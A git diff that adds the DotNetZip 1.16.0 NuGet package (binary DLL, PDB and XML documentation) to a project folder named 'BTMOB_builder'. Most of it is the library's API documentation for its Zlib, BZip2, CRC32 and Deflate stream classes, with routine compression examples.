+ true if the application would like the stream to remain open after + inflation/deflation. + + + + A tuning knob to trade speed for effectiveness. This parameter is + effective only when mode is CompressionMode.Compress. + + + + + This property sets the flush behavior on the stream. + Sorry, though, not sure exactly how to describe all the various settings. + + + + + The size of the working buffer for the compression codec. + + + + + The working buffer is used for all stream operations. The default size is + 1024 bytes. The minimum size is 128 bytes. You may get better performance + with a larger buffer. Then again, you might not. You would have to test + it. + + + + Set this before the first call to Read() or Write() on the + stream. If you try to set it afterwards, it will throw. + + + + + Returns the total number of bytes input so far. + + + Returns the total number of bytes output so far. + + + + Dispose the stream. + + + + This may or may not result in a Close() call on the captive + stream. See the constructors that have a leaveOpen parameter + for more information. + + + This method may be invoked in two distinct scenarios. If disposing + == true, the method has been called directly or indirectly by a + user's code, for example via the public Dispose() method. In this + case, both managed and unmanaged resources can be referenced and + disposed. If disposing == false, the method has been called by the + runtime from inside the object finalizer and this method should not + reference other objects; in that case only unmanaged resources must + be referenced or disposed. + + + + indicates whether the Dispose method was invoked by user code. + + + + + Indicates whether the stream can be read. + + + The return value depends on whether the captive stream supports reading. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Flush the stream. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the total bytes + written out, if used in writing, or the total bytes read in, if used in + reading. The count may refer to compressed bytes or uncompressed bytes, + depending on how you've used the stream. + + + + + Read data from the stream. + + + + + + If you wish to use the ZlibStream to compress data while reading, + you can create a ZlibStream with CompressionMode.Compress, + providing an uncompressed data stream. Then call Read() on that + ZlibStream, and the data read will be compressed. If you wish to + use the ZlibStream to decompress data while reading, you can create + a ZlibStream with CompressionMode.Decompress, providing a + readable compressed data stream. Then call Read() on that + ZlibStream, and the data will be decompressed as it is read. + + + + A ZlibStream can be used for Read() or Write(), but + not both. + + + + + + The buffer into which the read data should be placed. + + + the offset within that data array to put the first byte read. + + the number of bytes to read. + + the number of bytes read + + + + Calling this method always throws a . + + + The offset to seek to.... + IF THIS METHOD ACTUALLY DID ANYTHING. + + + The reference specifying how to apply the offset.... IF + THIS METHOD ACTUALLY DID ANYTHING. + + + nothing. This method always throws. + + + + Calling this method always throws a . + + + The new value for the stream length.... IF + THIS METHOD ACTUALLY DID ANYTHING. + + + + + Write data to the stream. + + + + + + If you wish to use the ZlibStream to compress data while writing, + you can create a ZlibStream with CompressionMode.Compress, + and a writable output stream. Then call Write() on that + ZlibStream, providing uncompressed data as input. The data sent to + the output stream will be the compressed form of the data written. If you + wish to use the ZlibStream to decompress data while writing, you + can create a ZlibStream with CompressionMode.Decompress, and a + writable output stream. Then call Write() on that stream, + providing previously compressed data. The data sent to the output stream + will be the decompressed form of the data written. + + + + A ZlibStream can be used for Read() or Write(), but not both. + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Compress a string into a byte array using ZLIB. + + + + Uncompress it with . + + + + + + + + A string to compress. The string will first be encoded + using UTF8, then compressed. + + + The string in compressed form + + + + Compress a byte array into a new byte array using ZLIB. + + + + Uncompress it with . + + + + + + + A buffer to compress. + + + The data in compressed form + + + + Uncompress a ZLIB-compressed byte array into a single string. + + + + + + + A buffer containing ZLIB-compressed data. + + + The uncompressed string + + + + Uncompress a ZLIB-compressed byte array into a byte array. + + + + + + + A buffer containing ZLIB-compressed data. + + + The data in uncompressed form + +
+
diff --git a/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.dll b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.dll new file mode 100644 index 0000000..a02cca4 Binary files /dev/null and b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.dll differ diff --git a/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.pdb b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.pdb new file mode 100644 index 0000000..43d7be9 Binary files /dev/null and b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.pdb differ diff --git a/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.xml b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.xml new file mode 100644 index 0000000..02025d8 --- /dev/null +++ b/BTMOB_builder/packages/DotNetZip.1.16.0/lib/netstandard2.0/DotNetZip.xml @@ -0,0 +1,18116 @@ + + + + DotNetZip + + + + + Delivers the remaining bits, left-aligned, in a byte. + + + + This is valid only if NumRemainingBits is less than 8; + in other words it is valid only after a call to Flush(). + + + + + + Reset the BitWriter. + + + + This is useful when the BitWriter writes into a MemoryStream, and + is used by a BZip2Compressor, which itself is re-used for multiple + distinct data blocks. + + + + + + Write some number of bits from the given value, into the output. + + + + The nbits value should be a max of 25, for safety. For performance + reasons, this method does not check! + + + + + + Write a full 8-bit byte into the output. + + + + + Write four 8-bit bytes into the output. + + + + + Write all available byte-aligned bytes. + + + + This method writes no new output, but flushes any accumulated + bits. At completion, the accumulator may contain up to 7 + bits. + + + This is necessary when re-assembling output from N independent + compressors, one for each of N blocks. The output of any + particular compressor will in general have some fragment of a byte + remaining. This fragment needs to be accumulated into the + parent BZip2OutputStream. + + + + + + Writes all available bytes, and emits padding for the final byte as + necessary. This must be the last method invoked on an instance of + BitWriter. + + + + Knuth's increments seem to work better than Incerpi-Sedgewick here. + Possibly because the number of elems to sort is usually small, typically + <= 20. + + + + BZip2Compressor writes its compressed data out via a BitWriter. This + is necessary because BZip2 does byte shredding. + + + + + The number of uncompressed bytes being held in the buffer. + + + + I am thinking this may be useful in a Stream that uses this + compressor class. In the Close() method on the stream it could + check this value to see if anything has been written at all. You + may think the stream could easily track the number of bytes it + wrote, which would eliminate the need for this. But, there is the + case where the stream writes a complete block, and it is full, and + then writes no more. In that case the stream may want to check. + + + + + + Accept new bytes into the compressor data buffer + + + + This method does the first-level (cheap) run-length encoding, and + stores the encoded data into the rle block. + + + + + + Process one input byte into the block. + + + + + To "process" the byte means to do the run-length encoding. + There are 3 possible return values: + + 0 - the byte was not written, in other words, not + encoded into the block. This happens when the + byte b would require the start of a new run, and + the block has no more room for new runs. + + 1 - the byte was written, and the block is not full. + + 2 - the byte was written, and the block is full. + + + + 0 if the byte was not written, non-zero if written. + + + + Append one run to the output block. + + + + + This compressor does run-length-encoding before BWT and etc. This + method simply appends a run to the output block. The append always + succeeds. The return value indicates whether the block is full: + false (not full) implies that at least one additional run could be + processed. + + + true if the block is now full; otherwise false. + + + + Compress the data that has been placed (Run-length-encoded) into the + block. The compressed data goes into the CompressedBytes array. + + + + Side effects: 1. fills the CompressedBytes array. 2. sets the + AvailableBytesOut property. + + + + + This is the most hammered method of this class. + +

+ This is the version using unrolled loops. +

+
+ + Method "mainQSort3", file "blocksort.c", BZip2 1.0.2 + + + Array instance identical to sfmap, both are used only + temporarily and independently, so we do not need to allocate + additional memory. + + + + A read-only decorator stream that performs BZip2 decompression on Read. + + + + + Compressor State + + + + + Create a BZip2InputStream, wrapping it around the given input Stream. + + + + The input stream will be closed when the BZip2InputStream is closed. + + + The stream from which to read compressed data + + + + Create a BZip2InputStream with the given stream, and + specifying whether to leave the wrapped stream open when + the BZip2InputStream is closed. + + The stream from which to read compressed data + + Whether to leave the input stream open, when the BZip2InputStream closes. + + + + + This example reads a bzip2-compressed file, decompresses it, + and writes the decompressed data into a newly created file. + + + var fname = "logfile.log.bz2"; + using (var fs = File.OpenRead(fname)) + { + using (var decompressor = new Ionic.BZip2.BZip2InputStream(fs)) + { + var outFname = fname + ".decompressed"; + using (var output = File.Create(outFname)) + { + byte[] buffer = new byte[2048]; + int n; + while ((n = decompressor.Read(buffer, 0, buffer.Length)) > 0) + { + output.Write(buffer, 0, n); + } + } + } + } + + + + + + Read data from the stream. + + + + + To decompress a BZip2 data stream, create a BZip2InputStream, + providing a stream that reads compressed data. Then call Read() on + that BZip2InputStream, and the data read will be decompressed + as you read. + + + + A BZip2InputStream can be used only for Read(), not for Write(). + + + + The buffer into which the read data should be placed. + the offset within that data array to put the first byte read. + the number of bytes to read. + the number of bytes actually read + + + + Read a single byte from the stream. + + the byte read from the stream, or -1 if EOF + + + + Indicates whether the stream can be read. + + + The return value depends on whether the captive stream supports reading. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Flush the stream. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the + total number of uncompressed bytes read in. + + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + this is irrelevant, since it will always throw! + irrelevant! + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + + + + Calling this method always throws a . + + this parameter is never used + this parameter is never used + this parameter is never used + + + + Dispose the stream. + + + indicates whether the Dispose method was invoked by user code. + + + + + Close the stream. + + + + + Read n bits from input, right justifying the result. + + + + For example, if you read 1 bit, the result is either 0 + or 1. + + + + The number of bits to read, always between 1 and 32. + + + + Called by createHuffmanDecodingTables() exclusively. + + + Called by recvDecodingTables() exclusively. + + + Freq table collected to save a pass over the data during + decompression. + + + Initializes the tt array. + + This method is called when the required length of the array is known. + I don't initialize it at construction time to avoid unneccessary + memory allocation when compressing small files. + + + + A write-only decorator stream that compresses data as it is + written using the BZip2 algorithm. + + + + + Constructs a new BZip2OutputStream, that sends its + compressed output to the given output stream. + + + + The destination stream, to which compressed output will be sent. + + + + + This example reads a file, then compresses it with bzip2 file, + and writes the compressed data into a newly created file. + + + var fname = "logfile.log"; + using (var fs = File.OpenRead(fname)) + { + var outFname = fname + ".bz2"; + using (var output = File.Create(outFname)) + { + using (var compressor = new Ionic.BZip2.BZip2OutputStream(output)) + { + byte[] buffer = new byte[2048]; + int n; + while ((n = fs.Read(buffer, 0, buffer.Length)) > 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + + + Constructs a new BZip2OutputStream with specified blocksize. + + the destination stream. + + The blockSize in units of 100000 bytes. + The valid range is 1..9. + + + + + Constructs a new BZip2OutputStream. + + the destination stream. + + whether to leave the captive stream open upon closing this stream. + + + + + Constructs a new BZip2OutputStream with specified blocksize, + and explicitly specifies whether to leave the wrapped stream open. + + + the destination stream. + + The blockSize in units of 100000 bytes. + The valid range is 1..9. + + + whether to leave the captive stream open upon closing this stream. + + + + + Close the stream. + + + + This may or may not close the underlying stream. Check the + constructors that accept a bool value. + + + + + + Flush the stream. + + + + + The blocksize parameter specified at construction time. + + + + + Write data to the stream. + + + + + Use the BZip2OutputStream to compress data while writing: + create a BZip2OutputStream with a writable output stream. + Then call Write() on that BZip2OutputStream, providing + uncompressed data as input. The data sent to the output stream will + be the compressed form of the input data. + + + + A BZip2OutputStream can be used only for Write() not for Read(). + + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Indicates whether the stream can be read. + + + The return value is always false. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value should always be true, unless and until the + object is disposed and closed. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the + total number of uncompressed bytes written through. + + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + this is irrelevant, since it will always throw! + irrelevant! + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + + + + Calling this method always throws a . + + this parameter is never used + this parameter is never used + this parameter is never used + never returns anything; always throws + + + + A write-only decorator stream that compresses data as it is + written using the BZip2 algorithm. This stream compresses by + block using multiple threads. + + + This class performs BZIP2 compression through writing. For + more information on the BZIP2 algorithm, see + . + + + + This class is similar to , + except that this implementation uses an approach that employs multiple + worker threads to perform the compression. On a multi-cpu or multi-core + computer, the performance of this class can be significantly higher than + the single-threaded BZip2OutputStream, particularly for larger streams. + How large? Anything over 10mb is a good candidate for parallel + compression. + + + + The tradeoff is that this class uses more memory and more CPU than the + vanilla BZip2OutputStream. Also, for small files, the + ParallelBZip2OutputStream can be much slower than the vanilla + BZip2OutputStream, because of the overhead associated to using the + thread pool. + + + + + + + Constructs a new ParallelBZip2OutputStream, that sends its + compressed output to the given output stream. + + + + The destination stream, to which compressed output will be sent. + + + + + This example reads a file, then compresses it with bzip2 file, + and writes the compressed data into a newly created file. + + + var fname = "logfile.log"; + using (var fs = File.OpenRead(fname)) + { + var outFname = fname + ".bz2"; + using (var output = File.Create(outFname)) + { + using (var compressor = new Ionic.BZip2.ParallelBZip2OutputStream(output)) + { + byte[] buffer = new byte[2048]; + int n; + while ((n = fs.Read(buffer, 0, buffer.Length)) > 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + + + Constructs a new ParallelBZip2OutputStream with specified blocksize. + + the destination stream. + + The blockSize in units of 100000 bytes. + The valid range is 1..9. + + + + + Constructs a new ParallelBZip2OutputStream. + + the destination stream. + + whether to leave the captive stream open upon closing this stream. + + + + + Constructs a new ParallelBZip2OutputStream with specified blocksize, + and explicitly specifies whether to leave the wrapped stream open. + + + the destination stream. + + The blockSize in units of 100000 bytes. + The valid range is 1..9. + + + whether to leave the captive stream open upon closing this stream. + + + + + The maximum number of concurrent compression worker threads to use. + + + + + This property sets an upper limit on the number of concurrent worker + threads to employ for compression. The implementation of this stream + employs multiple threads from the .NET thread pool, via + ThreadPool.QueueUserWorkItem(), to compress the incoming data by + block. As each block of data is compressed, this stream re-orders the + compressed blocks and writes them to the output stream. + + + + A higher number of workers enables a higher degree of + parallelism, which tends to increase the speed of compression on + multi-cpu computers. On the other hand, a higher number of buffer + pairs also implies a larger memory consumption, more active worker + threads, and a higher cpu utilization for any compression. This + property enables the application to limit its memory consumption and + CPU utilization behavior depending on requirements. + + + + By default, DotNetZip allocates 4 workers per CPU core, subject to the + upper limit specified in this property. For example, suppose the + application sets this property to 16. Then, on a machine with 2 + cores, DotNetZip will use 8 workers; that number does not exceed the + upper limit specified by this property, so the actual number of + workers used will be 4 * 2 = 8. On a machine with 4 cores, DotNetZip + will use 16 workers; again, the limit does not apply. On a machine + with 8 cores, DotNetZip will use 16 workers, because of the limit. + + + + For each compression "worker thread" that occurs in parallel, there is + up to 2mb of memory allocated, for buffering and processing. The + actual number depends on the property. + + + + CPU utilization will also go up with additional workers, because a + larger number of buffer pairs allows a larger number of background + threads to compress in parallel. If you find that parallel + compression is consuming too much memory or CPU, you can adjust this + value downward. + + + + The default value is 16. Different values may deliver better or + worse results, depending on your priorities and the dynamic + performance characteristics of your storage and compute resources. + + + + The application can set this value at any time, but it is effective + only before the first call to Write(), which is when the buffers are + allocated. + + + + + + Close the stream. + + + + This may or may not close the underlying stream. Check the + constructors that accept a bool value. + + + + + + Flush the stream. + + + + + The blocksize parameter specified at construction time. + + + + + Write data to the stream. + + + + + Use the ParallelBZip2OutputStream to compress data while + writing: create a ParallelBZip2OutputStream with a writable + output stream. Then call Write() on that + ParallelBZip2OutputStream, providing uncompressed data as + input. The data sent to the output stream will be the compressed + form of the input data. + + + + A ParallelBZip2OutputStream can be used only for + Write() not for Read(). + + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Indicates whether the stream can be read. + + + The return value is always false. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the + total number of uncompressed bytes written through. + + + + + The total number of bytes written out by the stream. + + + This value is meaningful only after a call to Close(). + + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + this is irrelevant, since it will always throw! + irrelevant! + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + + + + Calling this method always throws a . + + this parameter is never used + this parameter is never used + this parameter is never used + never returns anything; always throws + + + + Returns the "random" number at a specific index. + + the index + the random number + + + + Computes a CRC-32. The CRC-32 algorithm is parameterized - you + can set the polynomial and enable or disable bit + reversal. This can be used for GZIP, BZip2, or ZIP. + + + This type is used internally by DotNetZip; it is generally not used + directly by applications wishing to create, read, or manipulate zip + archive files. + + + + + Indicates the total number of bytes applied to the CRC. + + + + + Indicates the current CRC for all blocks slurped in. + + + + + Returns the CRC32 for the specified stream. + + The stream over which to calculate the CRC32 + the CRC32 calculation + + + + Returns the CRC32 for the specified stream, and writes the input into the + output stream. + + The stream over which to calculate the CRC32 + The stream into which to deflate the input + the CRC32 calculation + + + + Get the CRC32 for the given (word,byte) combo. This is a + computation defined by PKzip for PKZIP 2.0 (weak) encryption. + + The word to start with. + The byte to combine it with. + The CRC-ized result. + + + + Update the value for the running CRC32 using the given block of bytes. + This is useful when using the CRC32() class in a Stream. + + block of bytes to slurp + starting point in the block + how many bytes within the block to slurp + + + + Process one byte in the CRC. + + the byte to include into the CRC . + + + + Process a run of N identical bytes into the CRC. + + + + This method serves as an optimization for updating the CRC when a + run of identical bytes is found. Rather than passing in a buffer of + length n, containing all identical bytes b, this method accepts the + byte value and the length of the (virtual) buffer - the length of + the run. + + + the byte to include into the CRC. + the number of times that byte should be repeated. + + + + Combines the given CRC32 value with the current running total. + + + This is useful when using a divide-and-conquer approach to + calculating a CRC. Multiple threads can each calculate a + CRC32 on a segment of the data, and then combine the + individual CRC32 values at the end. + + the crc value to be combined with this one + the length of data the CRC value was calculated on + + + + Create an instance of the CRC32 class using the default settings: no + bit reversal, and a polynomial of 0xEDB88320. + + + + + Create an instance of the CRC32 class, specifying whether to reverse + data bits or not. + + + specify true if the instance should reverse data bits. + + + + In the CRC-32 used by BZip2, the bits are reversed. Therefore if you + want a CRC32 with compatibility with BZip2, you should pass true + here. In the CRC-32 used by GZIP and PKZIP, the bits are not + reversed; Therefore if you want a CRC32 with compatibility with + those, you should pass false. + + + + + + Create an instance of the CRC32 class, specifying the polynomial and + whether to reverse data bits or not. + + + The polynomial to use for the CRC, expressed in the reversed (LSB) + format: the highest ordered bit in the polynomial value is the + coefficient of the 0th power; the second-highest order bit is the + coefficient of the 1 power, and so on. Expressed this way, the + polynomial for the CRC-32C used in IEEE 802.3, is 0xEDB88320. + + + specify true if the instance should reverse data bits. + + + + + In the CRC-32 used by BZip2, the bits are reversed. Therefore if you + want a CRC32 with compatibility with BZip2, you should pass true + here for the reverseBits parameter. In the CRC-32 used by + GZIP and PKZIP, the bits are not reversed; Therefore if you want a + CRC32 with compatibility with those, you should pass false for the + reverseBits parameter. + + + + + + Reset the CRC-32 class - clear the CRC "remainder register." + + + + Use this when employing a single instance of this class to compute + multiple, distinct CRCs on multiple, distinct data blocks. + + + + + + A Stream that calculates a CRC32 (a checksum) on all bytes read, + or on all bytes written. + + + + + This class can be used to verify the CRC of a ZipEntry when + reading from a stream, or to calculate a CRC when writing to a + stream. The stream should be used to either read, or write, but + not both. If you intermix reads and writes, the results are not + defined. + + + + This class is intended primarily for use internally by the + DotNetZip library. + + + + + + The default constructor. + + + + Instances returned from this constructor will leave the underlying + stream open upon Close(). The stream uses the default CRC32 + algorithm, which implies a polynomial of 0xEDB88320. + + + The underlying stream + + + + The constructor allows the caller to specify how to handle the + underlying stream at close. + + + + The stream uses the default CRC32 algorithm, which implies a + polynomial of 0xEDB88320. + + + The underlying stream + true to leave the underlying stream + open upon close of the CrcCalculatorStream; false otherwise. + + + + A constructor allowing the specification of the length of the stream + to read. + + + + The stream uses the default CRC32 algorithm, which implies a + polynomial of 0xEDB88320. + + + Instances returned from this constructor will leave the underlying + stream open upon Close(). + + + The underlying stream + The length of the stream to slurp + + + + A constructor allowing the specification of the length of the stream + to read, as well as whether to keep the underlying stream open upon + Close(). + + + + The stream uses the default CRC32 algorithm, which implies a + polynomial of 0xEDB88320. + + + The underlying stream + The length of the stream to slurp + true to leave the underlying stream + open upon close of the CrcCalculatorStream; false otherwise. + + + + A constructor allowing the specification of the length of the stream + to read, as well as whether to keep the underlying stream open upon + Close(), and the CRC32 instance to use. + + + + The stream uses the specified CRC32 instance, which allows the + application to specify how the CRC gets calculated. + + + The underlying stream + The length of the stream to slurp + true to leave the underlying stream + open upon close of the CrcCalculatorStream; false otherwise. + the CRC32 instance to use to calculate the CRC32 + + + + Gets the total number of bytes run through the CRC32 calculator. + + + + This is either the total number of bytes read, or the total number of + bytes written, depending on the direction of this stream. + + + + + Provides the current CRC for all blocks slurped in. + + + + The running total of the CRC is kept as data is written or read + through the stream. read this property after all reads or writes to + get an accurate CRC for the entire stream. + + + + + + Indicates whether the underlying stream will be left open when the + CrcCalculatorStream is Closed. + + + + Set this at any point before calling . + + + + + + Read from the stream + + the buffer to read + the offset at which to start + the number of bytes to read + the number of bytes actually read + + + + Write to the stream. + + the buffer from which to write + the offset at which to start writing + the number of bytes to write + + + + Indicates whether the stream supports reading. + + + + + Indicates whether the stream supports seeking. + + + + Always returns false. + + + + + + Indicates whether the stream supports writing. + + + + + Flush the stream. + + + + + Returns the length of the underlying stream. + + + + + The getter for this property returns the total bytes read. + If you use the setter, it will throw + . + + + + + Seeking is not supported on this stream. This method always throws + + + N/A + N/A + N/A + + + + This method always throws + + + N/A + + + + Closes the stream. + + + + + A class for compressing and decompressing streams using the Deflate algorithm. + + + + + + The DeflateStream is a Decorator on a . It adds DEFLATE compression or decompression to any + stream. + + + + Using this stream, applications can compress or decompress data via stream + Read and Write operations. Either compresssion or decompression + can occur through either reading or writing. The compression format used is + DEFLATE, which is documented in IETF RFC 1951, "DEFLATE + Compressed Data Format Specification version 1.3.". + + + + This class is similar to , except that + ZlibStream adds the RFC + 1950 - ZLIB framing bytes to a compressed stream when compressing, or + expects the RFC1950 framing bytes when decompressing. The DeflateStream + does not. + + + + + + + + + + Create a DeflateStream using the specified CompressionMode. + + + + When mode is CompressionMode.Compress, the DeflateStream will use + the default compression level. The "captive" stream will be closed when + the DeflateStream is closed. + + + + This example uses a DeflateStream to compress data from a file, and writes + the compressed data to another file. + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".deflated")) + { + using (Stream compressor = new DeflateStream(raw, CompressionMode.Compress)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n; + while ((n= input.Read(buffer, 0, buffer.Length)) != 0) + { + compressor.Write(buffer, 0, n); + } + } + } + } + + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".deflated") + Using compressor As Stream = New DeflateStream(raw, CompressionMode.Compress) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream which will be read or written. + Indicates whether the DeflateStream will compress or decompress. + + + + Create a DeflateStream using the specified CompressionMode and the specified CompressionLevel. + + + + + + When mode is CompressionMode.Decompress, the level parameter is + ignored. The "captive" stream will be closed when the DeflateStream is + closed. + + + + + + + This example uses a DeflateStream to compress data from a file, and writes + the compressed data to another file. + + + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (var raw = System.IO.File.Create(fileToCompress + ".deflated")) + { + using (Stream compressor = new DeflateStream(raw, + CompressionMode.Compress, + CompressionLevel.BestCompression)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n= -1; + while (n != 0) + { + if (n > 0) + compressor.Write(buffer, 0, n); + n= input.Read(buffer, 0, buffer.Length); + } + } + } + } + + + + Using input As Stream = File.OpenRead(fileToCompress) + Using raw As FileStream = File.Create(fileToCompress & ".deflated") + Using compressor As Stream = New DeflateStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + End Using + + + The stream to be read or written while deflating or inflating. + Indicates whether the DeflateStream will compress or decompress. + A tuning knob to trade speed for effectiveness. + + + + Create a DeflateStream using the specified + CompressionMode, and explicitly specify whether the + stream should be left open after Deflation or Inflation. + + + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + memory stream that will be re-read after compression. Specify true for + the parameter to leave the stream open. + + + + The DeflateStream will use the default compression level. + + + + See the other overloads of this constructor for example code. + + + + + The stream which will be read or written. This is called the + "captive" stream in other places in this documentation. + + + + Indicates whether the DeflateStream will compress or decompress. + + + true if the application would like the stream to + remain open after inflation/deflation. + + + + Create a DeflateStream using the specified CompressionMode + and the specified CompressionLevel, and explicitly specify whether + the stream should be left open after Deflation or Inflation. + + + + + + When mode is CompressionMode.Decompress, the level parameter is ignored. + + + + This constructor allows the application to request that the captive stream + remain open after the deflation or inflation occurs. By default, after + Close() is called on the stream, the captive stream is also + closed. In some cases this is not desired, for example if the stream is a + that will be re-read after + compression. Specify true for the parameter + to leave the stream open. + + + + + + + This example shows how to use a DeflateStream to compress data from + a file, and store the compressed data into another file. + + + using (var output = System.IO.File.Create(fileToCompress + ".deflated")) + { + using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) + { + using (Stream compressor = new DeflateStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, true)) + { + byte[] buffer = new byte[WORKING_BUFFER_SIZE]; + int n= -1; + while (n != 0) + { + if (n > 0) + compressor.Write(buffer, 0, n); + n= input.Read(buffer, 0, buffer.Length); + } + } + } + // can write additional data to the output stream here + } + + + + Using output As FileStream = File.Create(fileToCompress & ".deflated") + Using input As Stream = File.OpenRead(fileToCompress) + Using compressor As Stream = New DeflateStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, True) + Dim buffer As Byte() = New Byte(4096) {} + Dim n As Integer = -1 + Do While (n <> 0) + If (n > 0) Then + compressor.Write(buffer, 0, n) + End If + n = input.Read(buffer, 0, buffer.Length) + Loop + End Using + End Using + ' can write additional data to the output stream here. + End Using + + + The stream which will be read or written. + Indicates whether the DeflateStream will compress or decompress. + true if the application would like the stream to remain open after inflation/deflation. + A tuning knob to trade speed for effectiveness. + + + + This property sets the flush behavior on the stream. + + See the ZLIB documentation for the meaning of the flush behavior. + + + + + The size of the working buffer for the compression codec. + + + + + The working buffer is used for all stream operations. The default size is + 1024 bytes. The minimum size is 128 bytes. You may get better performance + with a larger buffer. Then again, you might not. You would have to test + it. + + + + Set this before the first call to Read() or Write() on the + stream. If you try to set it afterwards, it will throw. + + + + + + The ZLIB strategy to be used during compression. + + + + By tweaking this parameter, you may be able to optimize the compression for + data with particular characteristics. + + + + Returns the total number of bytes input so far. + + + Returns the total number of bytes output so far. + + + + Dispose the stream. + + + + This may or may not result in a Close() call on the captive + stream. See the constructors that have a leaveOpen parameter + for more information. + + + Application code won't call this code directly. This method may be + invoked in two distinct scenarios. If disposing == true, the method + has been called directly or indirectly by a user's code, for example + via the public Dispose() method. In this case, both managed and + unmanaged resources can be referenced and disposed. If disposing == + false, the method has been called by the runtime from inside the + object finalizer and this method should not reference other objects; + in that case only unmanaged resources must be referenced or + disposed. + + + + true if the Dispose method was invoked by user code. + + + + + Indicates whether the stream can be read. + + + The return value depends on whether the captive stream supports reading. + + + + + Indicates whether the stream supports Seek operations. + + + Always returns false. + + + + + Indicates whether the stream can be written. + + + The return value depends on whether the captive stream supports writing. + + + + + Flush the stream. + + + + + Reading this property always throws a . + + + + + The position of the stream pointer. + + + + Setting this property always throws a . Reading will return the total bytes + written out, if used in writing, or the total bytes read in, if used in + reading. The count may refer to compressed bytes or uncompressed bytes, + depending on how you've used the stream. + + + + + Read data from the stream. + + + + + If you wish to use the DeflateStream to compress data while + reading, you can create a DeflateStream with + CompressionMode.Compress, providing an uncompressed data stream. + Then call Read() on that DeflateStream, and the data read will be + compressed as you read. If you wish to use the DeflateStream to + decompress data while reading, you can create a DeflateStream with + CompressionMode.Decompress, providing a readable compressed data + stream. Then call Read() on that DeflateStream, and the data read + will be decompressed as you read. + + + + A DeflateStream can be used for Read() or Write(), but not both. + + + + The buffer into which the read data should be placed. + the offset within that data array to put the first byte read. + the number of bytes to read. + the number of bytes actually read + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + this is irrelevant, since it will always throw! + irrelevant! + + + + Calling this method always throws a . + + this is irrelevant, since it will always throw! + + + + Write data to the stream. + + + + + If you wish to use the DeflateStream to compress data while + writing, you can create a DeflateStream with + CompressionMode.Compress, and a writable output stream. Then call + Write() on that DeflateStream, providing uncompressed data + as input. The data sent to the output stream will be the compressed form + of the data written. If you wish to use the DeflateStream to + decompress data while writing, you can create a DeflateStream with + CompressionMode.Decompress, and a writable output stream. Then + call Write() on that stream, providing previously compressed + data. The data sent to the output stream will be the decompressed form of + the data written. + + + + A DeflateStream can be used for Read() or Write(), + but not both. + + + + + The buffer holding data to write to the stream. + the offset within that data array to find the first byte to write. + the number of bytes to write. + + + + Compress a string into a byte array using DEFLATE (RFC 1951). + + + + Uncompress it with . + + + DeflateStream.UncompressString(byte[]) + DeflateStream.CompressBuffer(byte[]) + GZipStream.CompressString(string) + ZlibStream.CompressString(string) + + + A string to compress. The string will first be encoded + using UTF8, then compressed. + + + The string in compressed form + + + + Compress a byte array into a new byte array using DEFLATE. + + + + Uncompress it with . + + + DeflateStream.CompressString(string) + DeflateStream.UncompressBuffer(byte[]) + GZipStream.CompressBuffer(byte[]) + ZlibStream.CompressBuffer(byte[]) + + + A buffer to compress. + + + The data in compressed form + + + + Uncompress a DEFLATE'd byte array into a single string. + + + DeflateStream.CompressString(String) + 